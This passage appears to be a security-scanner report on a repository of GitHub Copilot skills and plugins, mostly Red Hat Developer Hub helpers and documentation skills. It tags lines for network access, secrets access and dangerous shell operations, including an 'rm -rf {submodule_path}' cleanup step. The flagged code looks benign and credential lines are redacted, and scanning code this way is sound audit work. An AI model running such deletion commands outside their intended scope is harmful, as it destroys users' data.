[Credential-related source omitted] - Network accessline 102
# Manual checks curl http://localhost:7007/api/catalog/health # Catalog backend - Network accessline 103
curl http://localhost:7007/api/catalog/health # Catalog backend - Network accessline 104
curl http://localhost:7007 # Frontend
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/rhdh_local/__init__.py
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/rhdh_local/backup.py
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/rhdh_local/cli.py
- Executable scriptline 1
Executable file - Network accessline 163
rhdh_running = False try: with socket.create_connection(("localhost", 7007), timeout=1): - Network accessline 164
try: with socket.create_connection(("localhost", 7007), timeout=1): rhdh_running = True - Network accessline 165
with socket.create_connection(("localhost", 7007), timeout=1): - Network accessline 170
if rhdh_running: checks.append({"name": "rhdh_running", "status": "pass", "message": "running on :7007"}) fmt.log_ok("RHDH: running on http://localhost:7007") - Network accessline 171
checks.append({"name": "rhdh_running", "status": "pass", "message": "running on :7007"}) fmt.log_ok("RHDH: running on http://localhost:7007") else: - Network accessline 172
fmt.log_ok("RHDH: running on http://localhost:7007") - Access to secretsline 437
[Credential-related source omitted] - Access to secretsline 439
[Credential-related source omitted]
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/rhdh_local/compose.py
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/rhdh_local/health.py
- Executable scriptline 1
Executable file - Network accessline 62
port_open = False try: with socket.create_connection(("localhost", 7007), timeout=2): - Network accessline 63
try: with socket.create_connection(("localhost", 7007), timeout=2): port_open = True - Network accessline 64
with socket.create_connection(("localhost", 7007), timeout=2): - Network accessline 72
name="rhdh_port", status="pass", message="RHDH reachable on http://localhost:7007", - Network accessline 73
status="pass", message="RHDH reachable on http://localhost:7007", ) - Network accessline 74
message="RHDH reachable on http://localhost:7007", - Network accessline 111
if port_open: try: with urlopen("http://localhost:7007/api/catalog/health", timeout=5) as resp: - Network accessline 112
try: with urlopen("http://localhost:7007/api/catalog/health", timeout=5) as resp: body = resp.read().decode() - Network accessline 113
with urlopen("http://localhost:7007/api/catalog/health", timeout=5) as resp:
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/rhdh_local/settings.py
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/rhdh_local/sync.py
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/scripts/NOTICE
- Executable scriptline 1
Executable file - Network accessline 6
Project: rhdh-lab Author: Ben Wilcock Repository: https://github.com/benwilcock/rhdh-lab - Network accessline 7
Author: Ben Wilcock Repository: https://github.com/benwilcock/rhdh-lab License: Apache License 2.0 - Network accessline 8
Repository: https://github.com/benwilcock/rhdh-lab - Network accessline 17
http://www.apache.org/licenses/LICENSE-2.0
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/scripts/fetch-plugin-metadata.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 4
Replaces the manual 3-step curl chain in the enable-plugin workflow. - Network accessline 23
_CONTENTS_URL = ( "https://api.github.com/repos/redhat-developer/rhdh-plugin-export-overlays" - Network accessline 24
"https://api.github.com/repos/redhat-developer/rhdh-plugin-export-overlays" - Network accessline 25
"/contents/catalog-entities/extensions/plugins" ) _RAW_BASE = "https://raw.githubusercontent.com/redhat-developer/rhdh-plugin-export-overlays/main" - Network accessline 27
_RAW_BASE = "https://raw.githubusercontent.com/redhat-developer/rhdh-plugin-export-overlays/main" - Network accessline 296
req = urllib.request.Request(url, headers={"User-Agent": "rhdh-skill/0.1"}) - Network accessline 297
with urllib.request.urlopen(req, timeout=30) as resp: - Network accessline 341
url = ( f"https://api.github.com/repos/redhat-developer/" - Network accessline 342
f"https://api.github.com/repos/redhat-developer/"
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/scripts/rhdh-local
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/workflows/enable-plugin.md
- Network accessline 157
- [ ] No errors in `podman compose logs install-dynamic-plugins` - [ ] No errors in `podman compose logs rhdh` related to the plugin - [ ] RHDH accessible at `http://localhost:7007` - Network accessline 158
- [ ] No errors in `podman compose logs rhdh` related to the plugin - [ ] RHDH accessible at `http://localhost:7007` - [ ] (If backend) Health endpoint responds: `curl http://localhost:7007/api/<plugin>/health` - Network accessline 159
- [ ] RHDH accessible at `http://localhost:7007` - [ ] (If backend) Health endpoint responds: `curl http://localhost:7007/api/<plugin>/health` </success_criteria> - Network accessline 160
- [ ] (If backend) Health endpoint responds: `curl http://localhost:7007/api/<plugin>/health`
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/workflows/switch-mode.md
- Access to secretsline 74
[Credential-related source omitted] - Network accessline 92
# 2. Test at http://localhost:7007 - Network accessline 130
- [ ] `rhdh-local/` git status is clean (`git status` shows no modified files) - [ ] RHDH starts at `http://localhost:7007` with Guest login - Network accessline 131
- [ ] RHDH starts at `http://localhost:7007` with Guest login
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/workflows/test-plugin.md
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh/references/rhdh-repos.md
- Network accessline 9
- **Upstream:** <https://github.com/redhat-developer/rhdh> - Network accessline 11
- **Tech stack:** Node.js 22, TypeScript, React, Yarn 4, Turbo monorepo - **Key concepts:** - **Scalprum dynamic loading:** Frontend plugins are loaded at runtime via [Scalprum](https://github.com/scalprum/scaffolding) (federated module l - Network accessline 12
- **Key concepts:** - **Scalprum dynamic loading:** Frontend plugins are loaded at runtime via [Scalprum](https://github.com/scalprum/scaffolding) (federated module loader), not compiled into the app. `packages/app/` renders `<ScalprumRoo - Network accessline 13
- **Scalprum dynamic loading:** Frontend plugins are loaded at runtime via [Scalprum](https://github.com/scalprum/scaffolding) (federated module loader), not compiled into the app. `packages/app/` renders `<ScalprumRoot>` which fetches plug - Network accessline 23
- **Upstream:** <https://gitlab.cee.redhat.com/rhidp/rhdh> - Network accessline 29
- **Upstream:** <https://github.com/redhat-developer/rhdh-cli> - Network accessline 43
- **Upstream:** <https://github.com/redhat-developer/rhdh-local> - Network accessline 57
- **Upstream:** <https://github.com/redhat-developer/rhdh-operator> - Network accessline 72
- **Upstream:** <https://github.com/redhat-developer/rhdh-chart> - Network accessline 85
- **Upstream:** <https://github.com/redhat-developer/rhdh-plugin-export-overlays> - Network accessline 98
- **Upstream:** <https://github.com/redhat-developer/rhdh-plugin-export-utils> - Network accessline 111
- **Upstream:** <https://gitlab.cee.redhat.com/rhidp/rhdh-plugin-catalog> - Network accessline 125
- **Upstream:** <https://github.com/redhat-developer/rhdh-plugins> - Network accessline 139
- **Upstream:** <https://github.com/redhat-developer/rhdh-dynamic-plugin-factory> - Network accessline 149
- **Upstream:** <https://github.com/backstage/backstage>
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh/references/slack-notification.md
- Network accessline 109
https://github.com/redhat-developer/rhdh-plugin-export-overlays/pull/1234 - Network accessline 125
Priority: Add plugin configuration to enable smoke tests See: https://github.com/.../README.md#smoke-test-config - Network accessline 126
See: https://github.com/.../README.md#smoke-test-config - Network accessline 128
https://github.com/redhat-developer/rhdh-plugin-export-overlays/pull/1235 - Network accessline 143
https://github.com/redhat-developer/rhdh-plugin-export-overlays/pull/1236
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh/references/versions.md
- Network accessline 19
Based on [Backstage 1.45.3](https://backstage.io/docs/releases/v1.45.0) - Network accessline 53
Based on [Backstage 1.45.3](https://backstage.io/docs/releases/v1.45.0) - Network accessline 87
Based on [Backstage 1.42.5](https://backstage.io/docs/releases/v1.42.0) - Network accessline 121
Based on [Backstage 1.39.1](https://backstage.io/docs/releases/v1.39.0) - Network accessline 155
Based on [Backstage 1.36.1](https://backstage.io/docs/releases/v1.36.0) - Network accessline 193
Check the [`package.json`](https://github.com/redhat-developer/rhdh/blob/main/packages/app/package.json) in the `app` package. - Network accessline 197
Check the [`package.json`](https://github.com/redhat-developer/rhdh/blob/main/packages/backend/package.json) in the `backend` package. - Network accessline 210
Check the [Version Matrix](https://github.com/redhat-developer/rhdh/blob/main/docs/dynamic-plugins/versions.md) for specific CLI versions if needed.
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh/rhdh/__init__.py
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh/rhdh/__main__.py
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh/rhdh/cli.py
- Executable scriptline 1
Executable file - Network accessline 152
checks.append({"name": "gh_cli", "status": "fail", "message": "not installed"}) fmt.log_fail("gh CLI: not installed") next_steps.append("Install gh CLI: https://cli.github.com/") - Network accessline 154
next_steps.append("Install gh CLI: https://cli.github.com/") - Network accessline 296
checks.append({"name": "gh_installed", "status": "fail", "message": "not installed"}) fmt.log_fail("gh CLI not installed") issues.append("Install gh CLI: https://cli.github.com/") - Network accessline 298
issues.append("Install gh CLI: https://cli.github.com/") - Network accessline 404
rhdh_running = False try: with socket.create_connection(("localhost", 7007), timeout=1): - Network accessline 405
try: with socket.create_connection(("localhost", 7007), timeout=1): rhdh_running = True - Network accessline 406
with socket.create_connection(("localhost", 7007), timeout=1): - Network accessline 411
if rhdh_running: checks.append({"name": "rhdh_port_7007", "status": "pass", "message": "running"}) fmt.log_ok(" RHDH: running on http://localhost:7007") - Network accessline 412
checks.append({"name": "rhdh_port_7007", "status": "pass", "message": "running"}) fmt.log_ok(" RHDH: running on http://localhost:7007") else: - Network accessline 413
fmt.log_ok(" RHDH: running on http://localhost:7007")
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh/rhdh/config.py
- Executable scriptline 1
Executable file - Access to secretsline 155
[Credential-related source omitted] - Access to secretsline 176
[Credential-related source omitted] - Access to secretsline 177
[Credential-related source omitted] - Access to secretsline 400
[Credential-related source omitted] - Access to secretsline 442
[Credential-related source omitted] - Access to secretsline 474
[Credential-related source omitted] - Dangerous shell operationline 922
[f"rm -rf {submodule_path}", f"rhdh setup submodule add {name}"], - Dangerous shell operationline 928
[f"rm -rf {submodule_path}", f"rhdh setup submodule add {name}"],
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh/rhdh/formatters.py
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh/rhdh/todo.py
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh/rhdh/worklog.py
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh/rhdh/workspace.py
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh/scripts/rhdh
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/repo-documentation/skills/add-educational-comments/SKILL.md
- Network accessline 45
| Line Number Referencing | `yes/no` | `yes` | Prefix each new comment with `Note <number>` when `yes`. | | Nest Comments | `yes/no` | `yes` | Indent comments inside code blocks when language syntax requires it. | | Fetch List | URL list | - Network accessline 47
| Fetch List | URL list | `https://peps.python.org/pep-0263/` | Optional authoritative references for language-specific constraints. | - Network accessline 151
- [PEP 263: Defining Python Source Code Encodings](https://peps.python.org/pep-0263/)
harness/github-copilot/plugins/repo-documentation/skills/convert-plaintext-to-md/SKILL.md
- Network accessline 160
- [GitHub basic writing and formatting syntax](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax) - Network accessline 161
- [Markdown Guide extended syntax](https://www.markdownguide.org/extended-syntax/) - Network accessline 162
- [Azure DevOps Markdown guidance](https://learn.microsoft.com/en-us/azure/devops/project/wiki/markdown-guidance?view=azure-devops)
harness/github-copilot/plugins/repo-documentation/skills/create-agentsmd/SKILL.md
- Network accessline 14
- "Generate coding agent instructions for my project." - "Update our AGENTS.md using the current repo structure." - "Make this repo follow https://agents.md/." - Network accessline 15
- "Update our AGENTS.md using the current repo structure." - "Make this repo follow https://agents.md/." - "Document setup and test commands for agents." - Network accessline 16
- "Make this repo follow https://agents.md/." - Network accessline 21
- The target file is `AGENTS.md` at the repository root unless a monorepo subproject needs a closer nested `AGENTS.md`. - Follow the open AGENTS.md format at `https://agents.md/.`. - Network accessline 22
- Follow the open AGENTS.md format at `https://agents.md/.`. - Network accessline 189
- [AGENTS.md](https://agents.md/.)
harness/github-copilot/plugins/repo-documentation/skills/create-llms/SKILL.md
- Network accessline 2
name: "create-llms" description: >- Create a new repository-root llms.txt file from repository structure and documentation according to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation, document r - Network accessline 3
description: >- Create a new repository-root llms.txt file from repository structure and documentation according to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation, document repository structure - Network accessline 4
Create a new repository-root llms.txt file from repository structure and documentation according to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation, document repository structure for LLMs, or add a - Network accessline 23
- No root `/llms.txt` exists, or the user explicitly wants it recreated from scratch. - Repository structure is available for analysis. - Use the official llms.txt specification at `https://llmstxt.org/` and preserve baseline URL spelling ` - Network accessline 25
- Use the official llms.txt specification at `https://llmstxt.org/` and preserve baseline URL spelling `https://llmstxt.org/.` for migration checks. - Network accessline 140
- [llms.txt specification](https://llmstxt.org/) - Network accessline 141
- Baseline URL spelling preserved for migration checks: https://llmstxt.org/.
harness/github-copilot/plugins/repo-documentation/skills/create-readme/SKILL.md
- Network accessline 54
| Source | Useful pattern | | --- | --- | | `https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md` | Clear cloud sample overview and deployment-oriented setup. | - Network accessline 55
| --- | --- | | `https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md` | Clear cloud sample overview and deployment-oriented setup. | | `https://raw.githubusercontent.com/Azure-Samples/server - Network accessline 56
| `https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md` | Clear cloud sample overview and deployment-oriented setup. | - Network accessline 57
| `https://raw.githubusercontent.com/Azure-Samples/serverless-recipes-javascript/refs/heads/main/README.md` | Practical sample structure and concise usage flow. | - Network accessline 58
| `https://raw.githubusercontent.com/sinedied/run-on-output/refs/heads/main/README.md` | Compact tool positioning and example-first usage. | - Network accessline 59
| `https://raw.githubusercontent.com/sinedied/smoke/refs/heads/main/README.md` | Short, appealing project introduction and focused commands. | - Network accessline 60
| `https://github.com/orgs/community/discussions/16925` | GitHub admonition syntax reference. | - Network accessline 134
- [Azure Samples serverless chat README](https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md) - Network accessline 135
- [Azure Samples serverless recipes README](https://raw.githubusercontent.com/Azure-Samples/serverless-recipes-javascript/refs/heads/main/README.md) - Network accessline 136
- [run-on-output README](https://raw.githubusercontent.com/sinedied/run-on-output/refs/heads/main/README.md) - Network accessline 137
- [smoke README](https://raw.githubusercontent.com/sinedied/smoke/refs/heads/main/README.md) - Network accessline 138
- [GitHub admonition syntax discussion](https://github.com/orgs/community/discussions/16925)
harness/github-copilot/plugins/repo-documentation/skills/create-tldr-page/SKILL.md
- Network accessline 16
- "Generate a concise command reference from this manual page." - "Turn this --help output and upstream URL into a tldr page." - "Write a tldr-pages style page for git from https://git-scm.com/docs/git." - Network accessline 18
- "Write a tldr-pages style page for git from https://git-scm.com/docs/git." - Network accessline 72
/create-tldr-page https://some-command.io/docs/manual.html - Network accessline 96
1. https://gnu.org/software/manual/html_node/some-command.html - Network accessline 97
2. https://some.org/serve/some.man.html#some-command - Network accessline 98
3. https://some-command.io/docs/cli/latest/manual - Network accessline 99
4. https://some-command.io/docs/quickstart - Network accessline 111
> Short, snappy description. > Some subcommands such as `subcommand1` have their own usage documentation. > More information: <https://url-to-upstream.tld>. - Network accessline 113
> More information: <https://url-to-upstream.tld>. - Network accessline 139
* [git](https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/common/git.md) - Network accessline 140
* [distrobox-create](https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/distrobox-create.md) - Network accessline 141
* [nmcli](https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/nmcli.md) - Network accessline 148
/create-tldr-page #fetch https://git-scm.com/docs/git git - Network accessline 156
> Distributed version control system. > Some subcommands such as `commit`, `add`, `branch`, `switch`, `push`, etc. have their own usage documentation. > More information: <https://git-scm.com/docs/git>. - Network accessline 158
> More information: <https://git-scm.com/docs/git>. - Network accessline 166
`git clone {{https://example.com/repo.git}}` - Network accessline 216
- Example: `{{device_name}}`, `{{chip_name}}`, `{{repository_url}}` - Example: `{{path/to/file}}` for file paths - Example: `{{https://example.com}}` for URLs - Network accessline 218
- Example: `{{https://example.com}}` for URLs - Network accessline 252
- https://git-scm.com/docs/git - Network accessline 253
- https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/common/git.md - Network accessline 254
- https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/distrobox-create.md - Network accessline 255
- https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/nmcli.md
harness/github-copilot/plugins/repo-documentation/skills/documentation-writer/SKILL.md
- Network accessline 90
- [Diátaxis framework](https://diataxis.fr/)
harness/github-copilot/plugins/repo-documentation/skills/tldr-prompt/SKILL.md
- Network accessline 41
| URLs supplied without explicit fetch syntax | Fetch all supplied URLs. | | More than five files or URLs | Summarize the first five and list the rest as not processed. | | Query about prompts, agents, instructions, or collections | Search - Network accessline 42
| More than five files or URLs | Summarize the first five and list the rest as not processed. | | Query about prompts, agents, instructions, or collections | Search the workspace first for `prompt file`, `.agent.md`, `.instructions.md`, `.c - Network accessline 43
| Query about prompts, agents, instructions, or collections | Search the workspace first for `prompt file`, `.agent.md`, `.instructions.md`, `.collections.md`; if no relevant files exist, check https://github.com/github/awesome-copilot and - Network accessline 44
| Query about MCP servers | Prefer https://modelcontextprotocol.io/ and <https://code.visualstudio.com/docs/agent-customization/mcp-servers>. | - Network accessline 45
| Query about inline chat or Ctrl+I | Prefer <https://code.visualstudio.com/docs/chat/inline-chat>. | - Network accessline 46
| Query about chat view or chat tools | Prefer <https://code.visualstudio.com/docs/chat/chat-overview>. | - Network accessline 47
| General GitHub Copilot query | Prefer https://code.visualstudio.com/docs/agents/overview or <https://docs.github.com/en/copilot/>. | - Network accessline 49
When resolving through awesome-copilot, fetch <https://raw.githubusercontent.com/github/awesome-copilot/main/README.md> first, then convert relevant repository links such as <https://github.com/github/awesome-copilot/blob/main/instructions/ - Network accessline 121
You MUST provide one of the following: 1. A Copilot file: /tldr-prompt #file:{{name.prompt[.]md | name.agent.md | name.instructions.md | name.collections.md}} 2. A URL: /tldr-prompt #fetch {{https://example.com/docs}} - Network accessline 122
1. A Copilot file: /tldr-prompt #file:{{name.prompt[.]md | name.agent.md | name.instructions.md | name.collections.md}} 2. A URL: /tldr-prompt #fetch {{https://example.com/docs}} 3. A search query: /tldr-prompt "{{topic}}" (e.g., "MCP serve - Network accessline 123
2. A URL: /tldr-prompt #fetch {{https://example.com/docs}} - Network accessline 141
- [Model Context Protocol](https://modelcontextprotocol.io/) - Network accessline 142
- [VS Code MCP servers](https://code.visualstudio.com/docs/agent-customization/mcp-servers) - Network accessline 143
- [VS Code agents overview](https://code.visualstudio.com/docs/agents/overview) - Network accessline 144
- [VS Code chat overview](https://code.visualstudio.com/docs/chat/chat-overview) - Network accessline 145
- [VS Code inline chat](https://code.visualstudio.com/docs/chat/inline-chat) - Network accessline 146
- [GitHub Copilot documentation](https://docs.github.com/en/copilot/) - Network accessline 147
- [Awesome Copilot](https://github.com/github/awesome-copilot) - Network accessline 148
- [Awesome Copilot raw file pattern](https://raw.githubusercontent.com/github/awesome-copilot/main/{folder}/{filename}) - Network accessline 149
- [Awesome Copilot README raw](https://raw.githubusercontent.com/github/awesome-copilot/main/README.md)
harness/github-copilot/plugins/repo-documentation/skills/update-llms/SKILL.md
- Network accessline 2
name: "update-llms" description: >- Update an existing repository-root llms.txt file to match current documentation, specifications, examples, configuration, and repository structure. Use when users ask to update llms.txt, refresh LLM nav - Network accessline 3
description: >- Update an existing repository-root llms.txt file to match current documentation, specifications, examples, configuration, and repository structure. Use when users ask to update llms.txt, refresh LLM navigation, fix stale l - Network accessline 4
Update an existing repository-root llms.txt file to match current documentation, specifications, examples, configuration, and repository structure. Use when users ask to update llms.txt, refresh LLM navigation, fix stale llms links, or keep - Network accessline 23
- An existing `/llms.txt` at the repository root. - Repository read access to current docs, specs, examples, and configuration. - The official llms.txt specification at `https://llmstxt.org/` and preserved baseline URL spelling `https://llm - Network accessline 25
- The official llms.txt specification at `https://llmstxt.org/` and preserved baseline URL spelling `https://llmstxt.org/.`. - Network accessline 137
- [llms.txt specification](https://llmstxt.org/) - Network accessline 138
- Baseline URL spelling preserved for migration checks: https://llmstxt.org/.
harness/github-copilot/plugins/repo-documentation/skills/write-coding-standards-from-file/SKILL.md
- Network accessline 72
Keep these original configuration labels recognizable when translating older requests: `boolean`, `string[]`, `string`, `object`, `quasi-configuration`, `as-is`, `and/or`, ` or `, `top-level`, `well-known`, `line-breaks`, `${fileName}`, `${ - Network accessline 93
| Language or ecosystem | URL | | --- | --- | | C Style Guide | `https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html` | - Network accessline 94
| --- | --- | | C Style Guide | `https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html` | | C# Style Guide | `https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/coding-style/coding-conventions` | - Network accessline 95
| C Style Guide | `https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html` | - Network accessline 96
| C# Style Guide | `https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/coding-style/coding-conventions` | - Network accessline 97
| C++ Style Guide | `https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines` | - Network accessline 98
| Go Style Guide | `https://github.com/golang-standards/project-layout` | - Network accessline 99
| Java Style Guide | `https://coderanch.com/wiki/718799/Style` | - Network accessline 100
| AngularJS App Style Guide | `https://github.com/mgechev/angularjs-style-guide` | - Network accessline 101
| jQuery Style Guide | `https://contribute.jquery.org/style-guide/js/` | - Network accessline 102
| JavaScript Style Guide | `https://www.w3schools.com/js/js_conventions.asp` | - Network accessline 103
| JSON Style Guide | `https://google.github.io/styleguide/jsoncstyleguide.xml` | - Network accessline 104
| Kotlin Style Guide | `https://kotlinlang.org/docs/coding-conventions.html` | - Network accessline 105
| Markdown Style Guide | `https://cirosantilli.com/markdown-style-guide/` | - Network accessline 106
| Perl Style Guide | `https://perldoc.perl.org/perlstyle` | - Network accessline 107
| PHP Style Guide | `https://phptherightway.com/` | - Network accessline 108
| Python Style Guide | `https://peps.python.org/pep-0008/` | - Network accessline 109
| Ruby Style Guide | `https://rubystyle.guide/` | - Network accessline 110
| Rust Style Guide | `https://github.com/rust-lang/rust/tree/HEAD/src/doc/style-guide/src` | - Network accessline 111
| Swift Style Guide | `https://www.swift.org/documentation/api-design-guidelines/` | - Network accessline 112
| TypeScript Style Guide | `https://www.typescriptlang.org/docs/handbook/declaration-files/do-s-and-don-ts.html` | - Network accessline 113
| Visual Basic Style Guide | `https://en.wikibooks.org/wiki/Visual_Basic/Coding_Standards` | - Network accessline 114
| Shell Script Style Guide | `https://google.github.io/styleguide/shellguide.html` | - Network accessline 115
| Git Usage Style Guide | `https://github.com/agis/git-style-guide` | - Network accessline 116
| PowerShell Style Guide | `https://github.com/PoshCode/PowerShellPracticeAndStyle` | - Network accessline 117
| CSS | `https://cssguidelin.es/` | - Network accessline 118
| Sass Style Guide | `https://sass-guidelin.es/` | - Network accessline 119
| HTML Style Guide | `https://github.com/marcobiedermann/html-style-guide` | - Network accessline 120
| Linux kernel Style Guide | `https://www.kernel.org/doc/html/latest/process/coding-style.html` | - Network accessline 121
| Node.js Style Guide | `https://github.com/felixge/node-style-guide` | - Network accessline 122
| SQL Style Guide | `https://www.sqlstyle.guide/` | - Network accessline 123
| Angular Style Guide | `https://angular.dev/style-guide` | - Network accessline 124
| Vue Style Guide | `https://vuejs.org/style-guide/rules-strongly-recommended.html` | - Network accessline 125
| Django Style Guide | `https://docs.djangoproject.com/en/dev/internals/contributing/writing-code/coding-style/` | - Network accessline 126
| SystemVerilog Style Guide | `https://github.com/lowRISC/style-guides/blob/master/VerilogCodingStyle.md` | - Network accessline 268
- [C Style Guide](https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html) - Network accessline 269
- [C# Style Guide](https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/coding-style/coding-conventions) - Network accessline 270
- [C++ Style Guide](https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines) - Network accessline 271
- [Go Style Guide](https://github.com/golang-standards/project-layout) - Network accessline 272
- [Java Style Guide](https://coderanch.com/wiki/718799/Style) - Network accessline 273
- [AngularJS App Style Guide](https://github.com/mgechev/angularjs-style-guide) - Network accessline 274
- [jQuery Style Guide](https://contribute.jquery.org/style-guide/js/) - Network accessline 275
- [JavaScript Style Guide](https://www.w3schools.com/js/js_conventions.asp) - Network accessline 276
- [JSON Style Guide](https://google.github.io/styleguide/jsoncstyleguide.xml) - Network accessline 277
- [Kotlin Style Guide](https://kotlinlang.org/docs/coding-conventions.html) - Network accessline 278
- [Markdown Style Guide](https://cirosantilli.com/markdown-style-guide/) - Network accessline 279
- [Perl Style Guide](https://perldoc.perl.org/perlstyle) - Network accessline 280
- [PHP Style Guide](https://phptherightway.com/) - Network accessline 281
- [Python Style Guide](https://peps.python.org/pep-0008/) - Network accessline 282
- [Ruby Style Guide](https://rubystyle.guide/) - Network accessline 283
- [Rust Style Guide](https://github.com/rust-lang/rust/tree/HEAD/src/doc/style-guide/src) - Network accessline 284
- [Swift Style Guide](https://www.swift.org/documentation/api-design-guidelines/) - Network accessline 285
- [TypeScript Style Guide](https://www.typescriptlang.org/docs/handbook/declaration-files/do-s-and-don-ts.html) - Network accessline 286
- [Visual Basic Style Guide](https://en.wikibooks.org/wiki/Visual_Basic/Coding_Standards) - Network accessline 287
- [Shell Script Style Guide](https://google.github.io/styleguide/shellguide.html) - Network accessline 288
- [Git Usage Style Guide](https://github.com/agis/git-style-guide) - Network accessline 289
- [PowerShell Style Guide](https://github.com/PoshCode/PowerShellPracticeAndStyle) - Network accessline 290
- [CSS](https://cssguidelin.es/) - Network accessline 291
- [Sass Style Guide](https://sass-guidelin.es/) - Network accessline 292
- [HTML Style Guide](https://github.com/marcobiedermann/html-style-guide) - Network accessline 293
- [Linux kernel Style Guide](https://www.kernel.org/doc/html/latest/process/coding-style.html) - Network accessline 294
- [Node.js Style Guide](https://github.com/felixge/node-style-guide) - Network accessline 295
- [SQL Style Guide](https://www.sqlstyle.guide/) - Network accessline 296
- [Angular Style Guide](https://angular.dev/style-guide) - Network accessline 297
- [Vue Style Guide](https://vuejs.org/style-guide/rules-strongly-recommended.html) - Network accessline 298
- [Django Style Guide](https://docs.djangoproject.com/en/dev/internals/contributing/writing-code/coding-style/) - Network accessline 299
- [SystemVerilog Style Guide](https://github.com/lowRISC/style-guides/blob/master/VerilogCodingStyle.md)
harness/github-copilot/plugins/ruby-mcp-development/skills/ruby-mcp-server-generator/references/project-templates.md
- Network accessline 8
source 'https://rubygems.org'
harness/github-copilot/plugins/skill-image-gen/skills/generate-image/SKILL.md
- Network accessline 50
| Provider | Model | Best for | Key URL | | --- | --- | --- | --- | | OpenAI | `gpt-image-2` | High quality, polished visuals, stronger text rendering, paid image generation. | https://platform.openai.com/api-keys | - Network accessline 51
| --- | --- | --- | --- | | OpenAI | `gpt-image-2` | High quality, polished visuals, stronger text rendering, paid image generation. | https://platform.openai.com/api-keys | | Google Gemini | Nano Banana / Gemini image models | Fast iterati - Network accessline 52
| OpenAI | `gpt-image-2` | High quality, polished visuals, stronger text rendering, paid image generation. | https://platform.openai.com/api-keys | - Network accessline 53
| Google Gemini | Nano Banana / Gemini image models | Fast iteration, free tier availability, visual drafts and variations. | https://aistudio.google.com/apikey | - Access to secretsline 55
[Credential-related source omitted] - Network accessline 60
| --- | --- | | Method | `POST` | | URL | `https://api.openai.com/v1/images/generations` | - Network accessline 61
[Credential-related source omitted] - Network accessline 62
| URL | `https://api.openai.com/v1/images/generations` | - Network accessline 86
| --- | --- | | Method | `POST` | | URL shape | `https://ai.google.dev/gemini-api/docs/models<model>:generateContent` | - Network accessline 87
[Credential-related source omitted] - Network accessline 88
| URL shape | `https://ai.google.dev/gemini-api/docs/models<model>:generateContent` | - Network accessline 169
- [OpenAI API keys](https://platform.openai.com/api-keys) - Network accessline 170
- [Google AI Studio API keys](https://aistudio.google.com/apikey)
harness/github-copilot/plugins/swift-mcp-development/skills/swift-mcp-server-generator/references/project-templates.md
- Network accessline 20
dependencies: [ .package( url: "https://github.com/modelcontextprotocol/swift-sdk.git", - Network accessline 21
.package( url: "https://github.com/modelcontextprotocol/swift-sdk.git", from: "0.10.0" - Network accessline 22
url: "https://github.com/modelcontextprotocol/swift-sdk.git", - Network accessline 24
), .package( url: "https://github.com/apple/swift-log.git", - Network accessline 25
.package( url: "https://github.com/apple/swift-log.git", from: "1.5.0" - Network accessline 26
url: "https://github.com/apple/swift-log.git", - Network accessline 28
), .package( url: "https://github.com/swift-server/swift-service-lifecycle.git", - Network accessline 29
.package( url: "https://github.com/swift-server/swift-service-lifecycle.git", from: "2.0.0" - Network accessline 30
url: "https://github.com/swift-server/swift-service-lifecycle.git", - Network accessline 573
